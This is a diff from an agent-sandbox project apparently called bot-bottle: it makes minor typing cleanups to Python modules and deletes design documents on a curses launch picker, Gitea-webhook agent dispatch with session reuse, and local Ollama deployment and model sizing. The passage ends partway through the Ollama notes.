|
||||
from pathlib import Path
|
||||
@@ -519,22 +519,22 @@ def _atomic_write(path: Path, content: str, *, mode: int) -> None:
|
||||
try:
|
||||
import fcntl as _fcntl
|
||||
|
||||
def _try_flock(fd: int) -> None: # type: ignore[reportRedeclaration]
|
||||
def _try_flock(fd: int) -> None:
|
||||
try:
|
||||
_fcntl.flock(fd, _fcntl.LOCK_EX)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def _try_funlock(fd: int) -> None: # type: ignore[reportRedeclaration]
|
||||
def _try_funlock(fd: int) -> None:
|
||||
try:
|
||||
_fcntl.flock(fd, _fcntl.LOCK_UN)
|
||||
except OSError:
|
||||
pass
|
||||
except ImportError: # pragma: no cover — Windows path
|
||||
def _try_flock(fd: int) -> None: # noqa: F841 — Windows fallback
|
||||
def _try_flock(fd: int) -> None:
|
||||
return None
|
||||
|
||||
def _try_funlock(fd: int) -> None: # noqa: F841 — Windows fallback
|
||||
def _try_funlock(fd: int) -> None:
|
||||
return None
|
||||
|
||||
|
||||
|
||||
@@ -159,10 +159,7 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
|
||||
"properties": {
|
||||
"host": {
|
||||
"type": "string",
|
||||
"description": (
|
||||
"The hostname to allow (e.g. 'api.github.com'). "
|
||||
"Case-insensitive on match."
|
||||
),
|
||||
"description": "The hostname to allow (e.g. 'api.github.com'). Case-insensitive on match.",
|
||||
},
|
||||
"path_allowlist": {
|
||||
"type": "array",
|
||||
@@ -485,7 +482,7 @@ def handle_tools_call(
|
||||
if not isinstance(name, str):
|
||||
raise _RpcError(ERR_INVALID_PARAMS, "tools/call missing 'name'")
|
||||
if name == _sv.TOOL_LIST_EGRESS_ROUTES:
|
||||
return handle_list_egress_routes(typing.cast(dict[str, object], params.get("arguments", {})), config)
|
||||
return handle_list_egress_routes(params.get("arguments", {}), config)
|
||||
|
||||
args_raw = params.get("arguments", {})
|
||||
if not isinstance(args_raw, dict):
|
||||
@@ -590,7 +587,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
|
||||
|
||||
server_version = f"{SERVER_NAME}/{SERVER_VERSION}"
|
||||
|
||||
def log_message(self, format: str, *args: typing.Any) -> None: # noqa: A002
|
||||
def log_message(self, format: str, *args: typing.Any) -> None:
|
||||
if os.environ.get("SUPERVISE_DEBUG"):
|
||||
super().log_message(format, *args)
|
||||
|
||||
@@ -630,7 +627,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
|
||||
except _RpcError as e:
|
||||
self._write_jsonrpc(jsonrpc_error(req.id, e.code, e.message))
|
||||
return
|
||||
except Exception as e: # noqa: W0718 — catch-all for RPC dispatch errors
|
||||
except Exception as e: # pragma: no cover — defensive
|
||||
sys.stderr.write(f"supervise: internal error: {e}\n")
|
||||
self._write_jsonrpc(jsonrpc_error(req.id, ERR_INTERNAL, "internal error"))
|
||||
return
|
||||
|
||||
@@ -13,15 +13,8 @@ DEFAULT_WORKSPACE_MODE = "755"
|
||||
|
||||
|
||||
class WorkspaceSpec(Protocol):
|
||||
@property
|
||||
def copy_cwd(self) -> bool:
|
||||
"""Whether to copy the current working directory."""
|
||||
...
|
||||
|
||||
@property
|
||||
def user_cwd(self) -> str:
|
||||
"""The user's current working directory."""
|
||||
...
|
||||
copy_cwd: bool
|
||||
user_cwd: str
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
|
||||
@@ -58,7 +58,6 @@ from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
from typing import cast
|
||||
|
||||
|
||||
class YamlSubsetError(ValueError):
|
||||
@@ -284,7 +283,7 @@ def _split_flow(body: str, lineno: int, kind: str) -> list[str]:
|
||||
depth_c = 0
|
||||
in_single = False
|
||||
in_double = False
|
||||
cur: list[str] = []
|
||||
cur = []
|
||||
for ch in body:
|
||||
if ch == "'" and not in_double:
|
||||
in_single = not in_single
|
||||
@@ -331,7 +330,6 @@ def _split_key_value(content: str, lineno: int) -> tuple[str, str]:
|
||||
if i + 1 >= len(content) or content[i + 1] in (" ", "\t"):
|
||||
return content[:i].strip(), content[i + 1:].lstrip()
|
||||
die(f"yaml-subset: line {lineno} missing `: ` separator: {content!r}")
|
||||
return "", "" # unreachable, but needed for type checker
|
||||
|
||||
|
||||
def _parse_block(
|
||||
@@ -538,7 +536,7 @@ def parse_yaml_subset(text: str) -> dict[str, object]:
|
||||
)
|
||||
if not isinstance(value, dict):
|
||||
die("yaml-subset: top-level value must be a mapping")
|
||||
return cast(dict[str, object], value)
|
||||
return value
|
||||
|
||||
|
||||
def parse_frontmatter(text: str) -> tuple[dict[str, object], str]:
|
||||
|
||||
@@ -1,157 +0,0 @@
|
||||
# PRD 0051: Launch selector
|
||||
|
||||
- **Status:** Active
|
||||
- **Author:** claude
|
||||
- **Created:** 2026-06-04
|
||||
- **Issue:** #185
|
||||
|
||||
## Summary
|
||||
|
||||
When `./cli.py start` is run without an agent name, or without a backend
|
||||
explicitly specified, the user currently gets an argparse error (missing
|
||||
positional) or falls through to the `docker` default silently. This PRD
|
||||
adds a terminal UI that appears in those gaps: a filter-select screen
|
||||
built with `curses` that lets the operator pick the agent and/or backend
|
||||
interactively rather than memorising names or consulting `./cli.py list`.
|
||||
|
||||
## Problem
|
||||
|
||||
With the dashboard removed (PRD 0049), starting an agent from memory is
|
||||
the only path. The operator must know the exact agent name and type it
|
||||
as a positional argument. For infrequent users or large manifests this
|
||||
is friction. A picker that appears automatically when the name is absent
|
||||
closes the gap with minimal ceremony.
|
||||
|
||||
The same logic applies to backends: the operator rarely wants to specify
|
||||
`--backend` explicitly, but when they do they need to know the set of
|
||||
registered names. A picker on an empty `--backend` makes the choice
|
||||
visible.
|
||||
|
||||
## Goals / Success Criteria
|
||||
|
||||
1. `./cli.py start` (no arguments) shows an interactive agent selector;
|
||||
the selected name is used exactly as if it had been passed on the
|
||||
command line.
|
||||
2. `./cli.py start <name>` (no `--backend`, no `BOT_BOTTLE_BACKEND`)
|
||||
shows an interactive backend selector; the selected backend is used
|
||||
exactly as if `--backend=<selected>` had been passed.
|
||||
3. `./cli.py start <name> --backend=<b>` (both explicit) shows neither
|
||||
screen — no behavioural change from today.
|
||||
4. `./cli.py start` (no arguments, no env backend) shows the agent
|
||||
selector first, then the backend selector.
|
||||
5. The filter-select widget is a standalone utility
|
||||
(`bot_bottle/cli/tui.py`) shared by both selectors.
|
||||
6. Pressing `Ctrl-C` or `q` in either selector exits cleanly (exit 0).
|
||||
7. The widget supports incremental filtering: typing narrows the list;
|
||||
`Backspace` removes the last character; `↑`/`↓`/`j`/`k` move the
|
||||
cursor; `Enter` confirms; `Esc`/`q` cancels.
|
||||
8. Unit tests cover: filtering logic, cursor movement, confirm, cancel,
|
||||
and the `cmd_start` dispatch (agent-absent, backend-absent,
|
||||
both-explicit, both-absent).
|
||||
|
||||
## Non-goals
|
||||
|
||||
- The TUI is not a general-purpose picker exposed as a public API;
|
||||
it is an internal CLI utility.
|
||||
- No mouse support.
|
||||
- No pagination beyond what fits in the terminal window (scroll via
|
||||
cursor movement is sufficient for typical agent counts).
|
||||
- No multi-select; exactly one item is chosen per invocation.
|
||||
- No changes to `./cli.py resume`, `./cli.py list`, or any other
|
||||
subcommand.
|
||||
|
||||
## Design
|
||||
|
||||
### `bot_bottle/cli/tui.py` — `filter_select`
|
||||
|
||||
```python
|
||||
def filter_select(
|
||||
items: list[str],
|
||||
*,
|
||||
title: str = "",
|
||||
tty_path: str = "/dev/tty",
|
||||
) -> str | None:
|
||||
"""Render a filter-select picker over the items list.
|
||||
|
||||
Returns the selected item string, or None if the user cancelled
|
||||
(Esc / q / Ctrl-C / Ctrl-D).
|
||||
|
||||
Opens /dev/tty directly so the picker works even when stdout/stdin
|
||||
are redirected — same pattern as `read_tty_line`.
|
||||
"""
|
||||
```
|
||||
|
||||
The widget renders to the tty file descriptor opened via `curses.initscr`
|
||||
(or `curses.newterm` on the tty fd so stdout remains clean for callers
|
||||
that pipe `./cli.py`).
|
||||
|
||||
Layout (full-width, minimal):
|
||||
|
||||
```
|
||||
Select agent (title, top line)
|
||||
Filter: <query>_ (filter line)
|
||||
─────────────────────────────
|
||||
> researcher
|
||||
implementer
|
||||
codex-researcher
|
||||
...
|
||||
─────────────────────────────
|
||||
[↑↓/jk] move [Enter] select [Esc/q] cancel
|
||||
```
|
||||
|
||||
- Lines below the filter are the filtered items; the cursor (`>`) marks
|
||||
the selection.
|
||||
- The list re-renders on every keypress.
|
||||
- Terminal resize is not handled (SIGWINCH); if the window is too small
|
||||
the picker exits with None.
|
||||
|
||||
### Changes to `cmd_start`
|
||||
|
||||
`name` changes from a required positional to an optional one
|
||||
(`nargs="?"`). The post-parse block checks:
|
||||
|
||||
```python
|
||||
agent_name = args.name
|
||||
if agent_name is None:
|
||||
manifest = Manifest.resolve(USER_CWD)
|
||||
agent_name = tui.filter_select(
|
||||
sorted(manifest.agents.keys()),
|
||||
title="Select agent",
|
||||
)
|
||||
if agent_name is None:
|
||||
return 0 # user cancelled
|
||||
|
||||
backend_name = args.backend
|
||||
if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
|
||||
backend_name = tui.filter_select(
|
||||
list(known_backend_names()),
|
||||
title="Select backend",
|
||||
)
|
||||
if backend_name is None:
|
||||
return 0 # user cancelled
|
||||
```
|
||||
|
||||
The `manifest` object is resolved before the backend selection so the
|
||||
agent picker can populate itself from the real manifest. The same
|
||||
`manifest` is passed to `BottleSpec`; it is not resolved a second time.
|
||||
|
||||
### `/dev/tty` isolation
|
||||
|
||||
`filter_select` opens `/dev/tty` and feeds it as the input file to
|
||||
`curses.wrapper`-equivalent code (using `curses.newterm` to avoid
|
||||
clobbering the caller's stdout/stderr). This keeps the picker
|
||||
composable — callers can pipe `./cli.py` output without the curses
|
||||
draw sequences contaminating the pipe.
|
||||
|
||||
## Implementation chunks
|
||||
|
||||
1. **`tui.py` + tests.** Add `bot_bottle/cli/tui.py` with
|
||||
`filter_select` and unit tests in `tests/unit/test_cli_tui.py`.
|
||||
2. **Wire into `cmd_start` + tests.** Make `name` optional, add the
|
||||
two-gate dispatch, extend `tests/unit/test_cli_start_selector.py`.
|
||||
3. **Activate PRD 0051.** Flip Status Draft → Active in the same commit
|
||||
that lands the implementation.
|
||||
|
||||
## Open questions
|
||||
|
||||
None. Scope is fully determined by the issue description.
|
||||
@@ -1,151 +0,0 @@
|
||||
# Gitea Webhook Agent Dispatch
|
||||
|
||||
## Question
|
||||
|
||||
How should bot-bottle spawn and manage agents in response to Gitea PR events — and how do we reuse the same agent (with its full session context) across every event in a PR's lifecycle?
|
||||
|
||||
## Summary
|
||||
|
||||
A lightweight webhook receiver maps Gitea PR events to `cli.py` invocations. Spawning is straightforward: the existing work on non-interactive run mode (see [host-dispatch-to-container-agents.md](host-dispatch-to-container-agents.md)) is the missing piece. Session continuity is harder: it requires tracking two identifiers per open PR — the **bottle identity** (bot-bottle's slug for the container state dir) and the **Claude session ID** (the UUID Claude writes to its JSONL transcript). The transcript snapshot mechanism already used by capability-block is the right foundation; it just needs a non-interactive path and a PR-keyed store.
|
||||
|
||||
## Gitea Webhook Events for PR Lifecycle
|
||||
|
||||
Gitea fires `X-Gitea-Event: pull_request` (with an `action` field) for most PR state changes. The payload always includes `pull_request.number`, which is the stable key for correlating events to a running agent.
|
||||
|
||||
| `X-Gitea-Event` value | Relevant `action` values | When it fires |
|
||||
|---|---|---|
|
||||
| `pull_request` | `opened`, `reopened`, `closed`, `synchronized` | PR created, closed, or pushed to |
|
||||
| `pull_request_comment` | `created`, `edited` | Timeline comment posted |
|
||||
| `pull_request_review_approved` | — | Review submitted with approval |
|
||||
| `pull_request_review_rejected` | — | Review submitted requesting changes |
|
||||
| `pull_request_review_comment` | — | Inline code review comment |
|
||||
| `pull_request_sync` | — | New commits pushed to the PR branch |
|
||||
|
||||
`pull_request` with `action: synchronized` and `pull_request_sync` both fire on push; they carry the same information but are separate subscriptions in the webhook config UI. Subscribe to `pull_request` and `pull_request_review` (the umbrella) plus `pull_request_comment` to cover the full lifecycle.
|
||||
|
||||
The webhook receiver validates the `X-Gitea-Signature-256` HMAC header (SHA-256 of the raw body, keyed by the configured secret) before dispatching.
|
||||
|
||||
## Spawning an Agent From a Webhook
|
||||
|
||||
### What we need from bot-bottle
|
||||
|
||||
The current `cli.py start` is interactive — it prompts y/N and attaches a tty. A webhook handler needs a non-interactive mode that:
|
||||
|
||||
1. Starts the container for a named agent.
|
||||
2. Runs `claude -p "<task>" --output-format json --dangerously-skip-permissions` inside it (no tty, no session picker).
|
||||
3. Captures stdout as JSON, extracts `session_id`.
|
||||
4. Blocks until Claude exits, then tears down.
|
||||
|
||||
The [host-dispatch-to-container-agents](host-dispatch-to-container-agents.md) research proposes `cli.py run <agent> <task>` for exactly this. That command is the prerequisite for everything below. It should return the Claude JSON output so callers can extract `session_id`.
|
||||
|
||||
### Webhook receiver sketch
|
||||
|
||||
The receiver is a small HTTP service (Flask, FastAPI, or a Go net/http handler) running alongside bot-bottle on the host. It:
|
||||
|
||||
1. Validates the HMAC signature.
|
||||
2. Extracts `pull_request.number` and `X-Gitea-Event` / `action`.
|
||||
3. Looks up whether a bottle already exists for this PR number.
|
||||
4. Spawns or resumes accordingly (see next section).
|
||||
5. Optionally posts a comment back to the PR via Gitea API once Claude finishes.
|
||||
|
||||
The receiver does not need to be async or queue-based for a single-repo bot, but should at minimum serialize events for the same PR number (a per-PR lock) to avoid two concurrent sessions clobbering each other's transcript.
|
||||
|
||||
## Reusing the Same Agent Across a PR
|
||||
|
||||
This is the harder problem. Two separate identities need to be tracked and connected:
|
||||
|
||||
### Identity 1: bottle identity (bot-bottle slug)
|
||||
|
||||
The slug is the per-bottle state directory name (`~/.bot-bottle/state/<slug>/`). It's what `cli.py resume <slug>` uses to relaunch a container and mount the preserved state — including the transcript snapshot. This already works for the capability-block flow.
|
||||
|
||||
### Identity 2: Claude session ID
|
||||
|
||||
Claude Code's `--output-format json` response includes a `session_id` UUID. Passing `--resume <session_id>` on a subsequent non-interactive run makes Claude continue from exactly that conversation, with full memory of prior tool calls. `--continue` (which maps to `resume_args` in `agent_provider.py`) only picks up the *most recent* session in the project directory — unsafe when multiple sessions may be running concurrently.
|
||||
|
||||
The session JSONL lives at `~/.claude/projects/<encoded-cwd>/<session_id>.jsonl` inside the container guest. The transcript snapshot (`snapshot_transcript(slug)` in `capability_apply.py`) copies all of `~/.claude` out of the container before teardown, so the JSONL is preserved in `~/.bot-bottle/state/<slug>/transcript/.claude/`. When the bottle is relaunched and the transcript remounted, `claude --resume <session_id>` can find the JSONL at the right path.
|
||||
|
||||
### Per-PR session registry
|
||||
|
||||
The receiver needs a small persistent map:
|
||||
|
||||
```
|
||||
PR number → { bottle_identity: str, claude_session_id: str, agent_name: str }
|
||||
```
|
||||
|
||||
The simplest implementation is a JSON file at `~/.bot-bottle/pr-sessions.json`, written after each successful first-run and updated with each resume. A sqlite database is better if concurrent multi-repo support is needed.
|
||||
|
||||
### Full lifecycle flow
|
||||
|
||||
```
|
||||
PR opened
|
||||
→ webhook: action=opened
|
||||
→ no entry in pr-sessions.json
|
||||
→ cli.py run <agent> "Review PR #N: <title>\n<diff URL>"
|
||||
→ starts container, runs claude -p ... --output-format json
|
||||
→ on success: captures session_id from JSON output
|
||||
→ snapshot_transcript(slug)
|
||||
→ tears down container
|
||||
→ write pr-sessions.json: { pr: N, slug: <slug>, session_id: <uuid> }
|
||||
|
||||
PR gets new commit
|
||||
→ webhook: action=synchronized OR pull_request_sync
|
||||
→ look up pr-sessions.json: found slug + session_id
|
||||
→ cli.py run-resume <slug> --claude-session <session_id> "New commits pushed. Review the diff."
|
||||
→ relaunches container with transcript snapshot mounted
|
||||
→ runs claude -p ... --resume <session_id> --output-format json
|
||||
→ captures new session_id (same or rotated)
|
||||
→ snapshot_transcript(slug) again
|
||||
→ update pr-sessions.json with latest session_id
|
||||
|
||||
Comment @-mentions bot
|
||||
→ webhook: pull_request_comment, action=created
|
||||
→ extract comment body, check for bot mention
|
||||
→ same resume flow as above with comment as the prompt
|
||||
|
||||
PR closed / merged
|
||||
→ webhook: action=closed
|
||||
→ cli.py cleanup <slug> (or equivalent)
|
||||
→ remove from pr-sessions.json
|
||||
```
|
||||
|
||||
### What needs to be built
|
||||
|
||||
| Piece | Status | Notes |
|
||||
|---|---|---|
|
||||
| `cli.py run <agent> <task>` | Missing | Non-interactive start; see host-dispatch research |
|
||||
| `cli.py run-resume <slug> --claude-session <id> <task>` | Missing | Like `resume` but non-interactive, passes `--resume <id>` to claude |
|
||||
| `snapshot_transcript` on clean exit | Exists (PRD 0012) | Already called from `start.py`'s session-end path |
|
||||
| Transcript remount on resume | Exists | `bottle_state.py::transcript_snapshot_dir` → docker cp in on launch |
|
||||
| PR session registry | Missing | Needs to be designed; `~/.bot-bottle/pr-sessions.json` is the simplest start |
|
||||
| Webhook receiver service | Missing | New service; needs to be a declared bottle or run as a host process |
|
||||
|
||||
## Known Rough Edges
|
||||
|
||||
**Session ID is not available from within the session.** The ID is only in the `--output-format json` result, readable after the process exits. There is no env var or hook that exposes it mid-session ([upstream issue #44607](https://github.com/anthropics/claude-code/issues/44607)). For the webhook bot this is fine — the outer receiver reads it from the subprocess result.
|
||||
|
||||
**`--continue` vs `--resume <id>`:** The existing `resume_args = ("--continue",)` in `agent_provider.py` picks up the *most recent* session. For an interactive single-user resume this is fine. For a webhook bot that may have multiple open PRs, it is not safe — two PRs' transcripts would collide if they share a project directory encoding. Use `--resume <session_id>` explicitly.
|
||||
|
||||
**Project directory encoding.** Claude stores sessions keyed by the absolute cwd, encoded as a path. Inside the container the cwd is always `/home/node` or a subdir. As long as every run for the same PR uses the same cwd, `--resume <session_id>` will find the right JSONL. The cwd should be pinned per PR entry in the session registry.
|
||||
|
||||
**Concurrent events for the same PR.** If two webhooks arrive close together (e.g., push + CI comment), the receiver must serialize them. A per-PR asyncio lock or a simple file lock on the session registry entry is enough.
|
||||
|
||||
**Context window growth.** Each resume appends to the same session. A PR with many round trips will eventually hit the context limit. Mitigation options: start a fresh Claude session (new `cli.py run`) periodically and carry forward a summary; or rely on Claude's built-in compaction. The session registry could include a turn count to trigger rotation.
|
||||
|
||||
**Webhook delivery ordering.** Gitea does not guarantee ordered delivery or exactly-once delivery. The receiver should be idempotent (same PR event processed twice should not create two bottles) and should ignore events for closed PRs.
|
||||
|
||||
## Relationship to Existing Bot-Bottle Infrastructure
|
||||
|
||||
The transcript snapshot + bottle identity system (PRD 0012, `capability_apply.py`) was designed for the capability-block flow: an operator-triggered resume after a security event. The webhook flow is the same mechanism on a faster loop driven by Gitea events instead of operator action. The implementation delta is:
|
||||
|
||||
1. Non-interactive run mode (the `cli.py run` gap already identified in host-dispatch research).
|
||||
2. Passing `--resume <session_id>` explicitly rather than `--continue`.
|
||||
3. A PR-keyed registry to connect PR numbers to bottle identities and session IDs.
|
||||
4. A webhook receiver to drive the loop.
|
||||
|
||||
These are additive changes that sit on top of the existing transcript preservation machinery without altering it.
|
||||
|
||||
## Recommendation
|
||||
|
||||
Start with the non-interactive run mode (`cli.py run`) since everything else depends on it. Once that exists, the webhook receiver and session registry are straightforward glue. The receiver should run as a host process (not inside a bottle) since it needs to call `cli.py` and manage the session registry file. Serialize per-PR to avoid concurrency bugs. Use `--resume <session_id>` (not `--continue`) for all resume paths.
|
||||
|
||||
The PR session registry is deliberately minimal to start — a JSON file is fine. If multi-repo or multi-agent scenarios appear, migrating to sqlite is a one-file change.
|
||||
@@ -1,278 +0,0 @@
|
||||
# Local Ollama: Deployment Topology, Harness Selection, and Model Sizing
|
||||
|
||||
Research notes on running Ollama locally for a bot-bottle coding agent workflow.
|
||||
Covers the native-vs-VM question, which harness integrates best with an agent loop,
|
||||
and which models make sense on an RTX 3070 (8 GB VRAM / 30 GB RAM) machine.
|
||||
|
||||
---
|
||||
|
||||
## 1. Deployment topology: native, container, or VM?
|
||||
|
||||
The core question is whether running Ollama in a VM significantly degrades inference
|
||||
performance. The short answer: a full KVM/QEMU VM with GPU passthrough adds roughly
|
||||
2–5% overhead, Docker on Linux adds roughly 1–2%, and LXC containers add sub-1%. None
|
||||
of these are significant for interactive coding use.
|
||||
|
||||
### Native (bare metal)
|
||||
|
||||
Zero overhead, immediate GPU access, simplest setup. The right default for a solo
|
||||
developer doing inference on their own workstation.
|
||||
|
||||
### Docker containers on Linux + NVIDIA
|
||||
|
||||
With `nvidia-container-toolkit` and `--gpus all`, containerized Ollama runs at
|
||||
essentially native speed (~1–2% overhead on Linux). The dramatic exception is macOS,
|
||||
where Docker Desktop runs a Linux VM with no access to Apple's Metal/GPU — inference
|
||||
is 5–6× slower. On Linux/Windows with NVIDIA hardware, Docker is fine.
|
||||
|
||||
Common pitfall: if `docker exec ollama ollama ps` shows 0 GPU layers, the container
|
||||
fell back to CPU. Usual causes: stale VRAM allocation, missing `nvidia-container-toolkit`,
|
||||
or a host driver too old for the container's CUDA version.
|
||||
|
||||
### KVM/QEMU VM with full PCIe passthrough
|
||||
|
||||
Full GPU passthrough makes the GPU invisible to the host while the VM owns it. Overhead
|
||||
from the IOMMU translation layer and virtualized PCIe bus is ~2–5%. This is viable if
|
||||
you need VM-level isolation (snapshotting, migration, separate kernel). Setup complexity
|
||||
is non-trivial: BIOS IOMMU, IOMMU group management, VFIO driver binding. Once configured
|
||||
it is stable.
|
||||
|
||||
**Critical gotcha:** set the VM's CPU type to `host`. If left at the default
|
||||
(`x86-64-v2-AES` / "QEMU Virtual CPU version 2.5+"), Ollama may silently disable GPU
|
||||
support even when drivers appear correct.
|
||||
|
||||
### LXC containers (Proxmox et al.)
|
||||
|
||||
The sweet spot for isolation without overhead. Sub-1% performance difference from bare
|
||||
metal because LXC shares the host kernel; GPU device files are bind-mounted into the
|
||||
container. The tradeoff is weaker isolation (shared kernel) and the requirement that
|
||||
host and container driver versions match. Not suitable if you need VM-level snapshots
|
||||
or live migration.
|
||||
|
||||
### Summary
|
||||
|
||||
| Topology | GPU overhead | Isolation | Complexity |
|
||||
|---|---|---|---|
|
||||
| Native | 0% | None | Low |
|
||||
| Docker (Linux) | ~1–2% | Process | Low |
|
||||
| LXC | <1% | Namespace | Medium |
|
||||
| KVM passthrough | 2–5% | Full VM | High |
|
||||
| VM no passthrough | CPU-only | Full VM | Medium |
|
||||
|
||||
Running Ollama in a VM will **not** significantly slow inference as long as GPU passthrough
|
||||
is configured. Without passthrough (software rendering / CPU fallback) performance
|
||||
collapses — that is what the user is rightly worried about.
|
||||
|
||||
### Local vs. remote server
|
||||
|
||||
| Factor | Local machine | Remote server |
|
||||
|---|---|---|
|
||||
| Latency | Near-zero | Network round-trip; cumulative in agent loops |
|
||||
| Cost | Zero after hardware | Per-token or subscription |
|
||||
| Privacy | 100% on-device | Data leaves the machine |
|
||||
| Model size ceiling | VRAM-limited | No hard limit (671B+ feasible) |
|
||||
| Offline use | Yes | No |
|
||||
| Concurrency under load | Sequential by default | Scales horizontally |
|
||||
|
||||
For agentic coding workflows making 20–50 tool calls per session, network latency
|
||||
accumulates quickly. Local inference eliminates this. A practical hybrid pattern:
|
||||
use the local GPU for routine coding loops; route only to a remote API for tasks
|
||||
requiring a 70B+ model or very long context (>128K tokens).
|
||||
|
||||
---
|
||||
|
||||
## 2. Harness selection
|
||||
|
||||
The landscape in 2026 has settled into three categories: IDE plugins, terminal agents,
|
||||
and chat UIs.
|
||||
|
||||
### Continue.dev — recommended IDE plugin
|
||||
|
||||
Open-source VS Code / JetBrains / Zed / Vim extension. Routes autocomplete, chat, and
|
||||
refactoring commands to any configured LLM backend (Ollama, cloud APIs). The recommended
|
||||
setup uses two models: a small FIM-capable model for inline autocomplete (Qwen2.5-Coder 7B)
|
||||
and a larger model for chat/edit. Handles inline completions, multi-file edits, and
|
||||
codebase-aware chat. No API key, no data leaving the machine.
|
||||
|
||||
### Aider — recommended for git-native terminal workflows
|
||||
|
||||
Terminal-based coding agent. Builds a codebase map before editing, makes changes
|
||||
directly, and auto-commits to git with readable messages. Every change is one
|
||||
`git revert` away. Supports 100+ languages; connects to any Ollama-served model
|
||||
via the OpenAI-compatible API. Best for terminal-first developers who want
|
||||
version-controlled agent interactions. Does not do inline autocomplete.
|
||||
|
||||
### OpenCode — recommended for bot-bottle–style agent loops
|
||||
|
||||
Terminal-based coding agent with 15 built-in tools (bash execution, file read/write/edit,
|
||||
grep, glob, web fetch, MCP support) and connections to 75+ model providers including
|
||||
local Ollama models. This is the closest open-source equivalent to a Claude Code–style
|
||||
plan → tool-call → execute → observe → loop. Native Ollama integration.
|
||||
|
||||
**Critical setup note:** Ollama defaults to a 4096-token context window, which is
|
||||
completely insufficient for an agent loop carrying conversation history, tool schemas,
|
||||
a system prompt, and code simultaneously. Configure at least 64K tokens explicitly
|
||||
in the model's context settings.
|
||||
|
||||
### Cline — agentic VS Code assistant
|
||||
|
||||
VS Code extension that operates as an autonomous agent: plans, edits files, runs commands
|
||||
in a loop, connects to Ollama's local endpoint. Compared to OpenCode it lives inside the
|
||||
IDE rather than the terminal; compared to Continue.dev it is a full agent rather than a
|
||||
plugin. Its system prompt overhead is higher (~7,000–10,000 tokens) than minimal harnesses.
|
||||
|
||||
### Open WebUI / Jan / LM Studio — chat UIs, not coding harnesses
|
||||
|
||||
These are browser or desktop chat interfaces useful for ad-hoc conversations (explaining
|
||||
APIs, drafting documentation, exploring ideas) but without IDE integration, autocomplete,
|
||||
or git integration. LM Studio offers the smoothest onboarding (visual model browser with
|
||||
VRAM estimates). Jan is the most privacy-auditable (fully open-source, Apache 2.0, no
|
||||
telemetry). Neither is a replacement for a coding harness.
|
||||
|
||||
### Harness comparison
|
||||
|
||||
| Harness | Type | Autocomplete | Agent loop | Ollama | Git integration |
|
||||
|---|---|---|---|---|---|
|
||||
| Continue.dev | IDE plugin | Yes (FIM) | Basic | Native | No |
|
||||
| Aider | Terminal agent | No | Multi-turn | Via API | Auto-commit |
|
||||
| OpenCode | Terminal agent | No | Full tools | Native | Via bash |
|
||||
| Cline | IDE agent | No | Full tools | Via API | Via bash |
|
||||
| Open WebUI | Chat UI | No | No | Native | No |
|
||||
| Jan | Chat UI | No | No | Native | No |
|
||||
|
||||
For a bot-bottle workflow (an isolated sandbox running an agentic loop with tool access),
|
||||
**OpenCode** is the closest open-source match. For an IDE-first developer who wants
|
||||
autocomplete + chat, **Continue.dev + Qwen2.5-Coder 7B** is the recommended pair.
|
||||
|
||||
---
|
||||
|
||||
## 3. Model selection: RTX 3070 (8 GB VRAM / 30 GB RAM)
|
||||
|
||||
### VRAM hard limits at Q4_K_M quantization
|
||||
|
||||
| Model size | Approx. VRAM (Q4_K_M) | Fits in 8 GB? | Tokens/sec (RTX 3070) |
|
||||
|---|---|---|---|
|
||||
| 3–4B | 2.5–3.5 GB | Yes, with headroom | 60–90 |
|
||||
| 7–8B | 5–6 GB | Yes | 35–55 |
|
||||
| 12–14B | 7.5–9 GB | Edge / RAM offload | 8–18 |
|
||||
| 22B+ | 14+ GB | No | — |
|
||||
|
||||
The RTX 3070 has high memory bandwidth for its VRAM tier and consistently outperforms
|
||||
the newer RTX 4060 Ti on token generation speed. Bandwidth matters more than raw compute
|
||||
for inference.
|
||||
|
||||
### Does Gemma 4 exist?
|
||||
|
||||
Yes. Google released **Gemma 4** on 2 April 2026 (Apache 2.0). The family includes
|
||||
E2B (2B), E4B (4B), a 26B MoE, and a 31B Dense. A 12B multimodal variant was announced
|
||||
2026-06-04. The 31B scores 80.0% on LiveCodeBench v6 — a major jump from Gemma 3 27B
|
||||
at 29.1%. However, only the E4B fits comfortably within 8 GB VRAM:
|
||||
|
||||
| Variant | VRAM (approx.) | Fits? |
|
||||
|---|---|---|
|
||||
| Gemma 4 E2B | ~2 GB | Yes |
|
||||
| Gemma 4 E4B | ~5 GB | Yes |
|
||||
| Gemma 4 12B | ~8–9 GB (Q4) | Edge |
|
||||
| Gemma 4 26B MoE | 14–18 GB | No |
|
||||
| Gemma 4 31B Dense | ~20 GB | No |
|
||||
|
||||
### Model-by-model evaluation
|
||||
|
||||
**Qwen2.5-Coder 7B — primary recommendation**
|
||||
|
||||
The strongest purpose-built coding model that fits fully within 8 GB VRAM. Leads
|
||||
HumanEval among 7–8B-class models. Strong on Python, JavaScript, TypeScript. Has
|
||||
FIM (fill-in-the-middle) support for inline autocomplete. 35–55 tok/sec on RTX 3070.
|
||||
|
||||
```
|
||||
ollama pull qwen2.5-coder:7b
|
||||
```
|
||||
|
||||
**Qwen2.5-Coder 14B — secondary, with RAM offloading**
|
||||
|
||||
At Q4_K_M this needs ~8.7 GB, just over the 8 GB limit. With 30 GB system RAM, Ollama
|
||||
automatically offloads the overflow layers to CPU. Performance drops to ~8–18 tok/sec
|
||||
versus 35–55 tok/sec for the 7B fully in VRAM. Quality is noticeably better for complex
|
||||
multi-file reasoning. Viable for chat-based coding tasks where quality matters more than
|
||||
speed; too slow for live autocomplete. Keep context window at 8K tokens to minimize
|
||||
VRAM pressure during offloaded inference.
|
||||
|
||||
```
|
||||
ollama pull qwen2.5-coder:14b
|
||||
```
|
||||
|
||||
**Gemma 4 E4B (~5 GB VRAM)**
|
||||
|
||||
Fits comfortably with 3 GB to spare. Strong on reasoning, multimodal, and general-purpose
|
||||
tasks. Less specialized for coding than Qwen2.5-Coder 7B. Good choice for one model that
|
||||
covers coding + general reasoning + image analysis. The E4B outperforms Gemma 3 equivalents
|
||||
significantly on coding benchmarks.
|
||||
|
||||
```
|
||||
ollama pull gemma4:e4b
|
||||
```
|
||||
|
||||
**Phi-4 Mini 3.8B (~3 GB VRAM)**
|
||||
|
||||
Best reasoning-per-VRAM model; leaves ~5 GB free for other applications. Strong on math,
|
||||
